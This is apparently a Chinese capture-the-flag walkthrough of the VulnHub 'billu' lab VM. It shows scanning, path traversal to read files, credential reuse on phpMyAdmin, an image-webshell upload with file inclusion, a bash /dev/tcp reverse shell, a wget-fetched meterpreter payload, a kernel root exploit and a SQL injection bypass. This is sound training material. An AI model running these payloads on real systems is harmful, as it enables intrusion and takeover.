进击的HACK
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

环境搭建
访问https://www.vulnhub.com/,搜索billu
下载的是ova文件,使用vmware打开,选择文件夹保存。
渗透
打开msf
sudo msf 或者 sudo msfdb run
探测存活主机
use auxiliary/scanner/discovery/arp_sweep
info auxiliary/scanner/discovery/arp_sweep#显示出该模块的一些信息:基本选项、简介其作用
show options
set RHOSTS 192.168.91.0/24
set THREADS 30
run
经过排查,靶机的ip为192.168.91.149
对该ip进行信息收集
1、端口扫描
nmap -sS -Pn -p- 192.168.91.149
可以知道开放了22和80端口。
22端口爆破尝试
使用超级弱口令检查工具,但是没有爆破出来
查看80端口,通过插件知道网站的中间件是apache,操作系统是Ubuntu,编程语言是php
先使用dirsearch扫描敏感目录
python dirsearch.py -u http://192.168.91.149/
如果遇到返回状态码是403的,可以尝试bypass
[19:09:05] 200 - 307B - /add
[19:09:05] 200 - 307B - /add.php
[19:09:16] 200 - 1B - /c
[19:09:27] 200 - 3KB - /head.php
[19:09:28] 200 - 1KB - /images/
[19:09:28] 200 - 47KB - /in
[19:09:29] 200 - 3KB - /index
[19:09:29] 200 - 3KB - /index.php
[19:09:41] 200 - 8KB - /phpmy/
[19:09:50] 200 - 1B - /show
[19:09:55] 200 - 72B - /test
[19:09:55] 200 - 72B - /test.php
一处目录遍历,如果是工作就可以水一个低危,但这需要getshell
一次查看状态码是200的php
1、test.php
看到提示,根据经验猜测为任意文件下载,访问链接http://192.168.91.149/test.php?file=index.php,但是服务器没有反应。既然GET不行,那就尝试POST,此时成功。
此处可能存在任意文件下载
file=../../../../../../etc/passwd
在/etc/passwd中可以知道root和ica可以登录
root:x:0:0:root:/root:/bin/bash
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash
尝试file=../../../../../../etc/shadow
没结果,估计是权限不够。
test.php基本看完了,再看其他的页面
http://192.168.91.149/phpmy/,是phpmyadmin
http://192.168.91.149/in是PHPinfo的信息
重点关注:
物理路径
_SERVER["SCRIPT_FILENAME"]
_SERVER["DOCUMENT_ROOT"]
_SERVER["SERVER_ADMIN"]webmaster@localhost
暂时没有思路,查看index.php,也没什么办法,尝试把能够访问的php文件下载下来
file=c.php
发现了mysql的用户和密码
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
file=add.php
<?php
echo'<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';
?>
没用的上传。
一般mysql数据库的密码也是phpmyadmin的密码,尝试使用mysql的用户和密码登录phpmyadmin
用户名:billu
密码:b0x_billu
成功登录。
尝试通过数据库写shell
查看secure_file_priv值
show global variables like '%secure%';
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
写入一句话,之前在phpinfo中得知物理路径
select '<?php @eval($POST[1]); ?>' INTO OUTFILE '/var/www/webshell.php'
权限不够
这条路不通,看看数据库中有没有什么有用信息。
看了用户和密码,在index.php界面登录,登录成功
此处能够上传文件,但是无法知道文件上传的路径,通过任意文件下载,下载panel.php文件file=panel.php
存在文件包含
include($dir.'/'.$_POST['load']);
从上述代码中可以看到文件上传后移动到的目录
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
可以看出,服务器并没有修改文件名。查看能否访问这个目录
可以访问,并能够看见我之前上传的文件,确定了这就是用户上传的目录
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
可以看到服务器设置了白名单,无法上传php的webshell,结合上面的文件包含构造图片马。
文件上传
上传一个phpinfo的图片马
包含图片
成功显示phpinfo,接下来上传webshell的图片马
<?phpsystem($_GET['cmd']);?>
执行命令
既然可以执行命令,尝试反弹shell
kali中使用nc进行监听
nc -nlvp 6666
执行bash反弹shell
将命令进行URL编码
echo "bash -i >& /dev/tcp/192.168.91.139/6666 0>&1" | bash
反弹成功
python获取标准shell(交互式shell)
因为当前获取的webshell是非交互式shell,有一定的局限性(无法正常使用vim等文本编辑器、没有完成标签、没有向上箭头使用历史、不能运行top、sudo类似的命令)。在提权的时候,需要使用到其他工具就会很麻烦,所以需要获取交互式shell。
python -c 'import pty; pty.spawn("/bin/bash")'
接下来需要提权
find / -perm -u=s -type f 2>/dev/null;
提权简单一点的是借助msf,因为服务器可以连接外网,同时服务器有wget命令,尝试连接kali,现在后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.91.139 LPORT=4444 -f elf > shell.elf
python3 -m http.server
受害机器:wget http://192.168.91.139:8000/shell.elf
msf设置
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp //这个就是和上面msfvenom使用的payload是一样的
set LHOST 192.168.91.139
set LPORT 4444
run
受害机器执行后门程序
chmod 777 shell.elf
./shell.elf
kali的msf成功连接
使用命令 getsystem,但是失败
使用如下模块辅助提权
meterpreter > run post/multi/recon/local_exploit_suggester
exploit/linux/local/su_login
exploit/linux/local/overlayfs_priv_esc
将会话移动到后台,输入background,接下来选择上面的exploit
这个失败了,尝试另一个,但也没有成功。
都不行,就尝试历史漏洞提权
查看内核
uname -a
cat /etc/issue
msf中对Linux提权的办法不是很多,常见的方法是找到Linux的版本与内核信息然后在https://www.exploit-db.com/去搜索
这个符合,尝试利用,链接为https://www.exploit-db.com/exploits/37292,网页中的提示进行编译然后执行
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
受害机器:wget http://192.168.91.139:8000/ofs.c
可以看到成功提权
思路总结
其他1
index.php中的sql注入
sql语句
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result=mysqli_query($conn, $run);
如何绕过?
str_replace函数将单引号过滤,如果sql语句中只有一个可控制点很难sql注入,但是有两处
可以输入 un与ps的参数都改为 or 1=1#\
此时,$run中的sql语句为
select * from auth where pass='or 1=1#\' and uname='or 1=1#\'
select * from auth
where
pass='or 1=1#\' and uname='
or
1=1#\'
此时就能够万能密码进入
也可以ps的值为or 1=1#\ ,un的值为 or (可控点) #
其他2
phpmyadmin登录成功后,查看到版本为3.4.7,所以默认配置文件是config.inc.php。再通过URL猜测配置文件的路径为/var/www/phpmy/config.inc.php。再利用利用包含读取默认配置文件config.inc.php,发现root密码。进行ssh连接,直接获取root权限。
root账号的密码是roottoor,很简单但我没爆出来。一个好字典多么的重要。
参考链接
https://mp.weixin.qq.com/s/359FaQgKz1Dxs1Hj40SCig
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
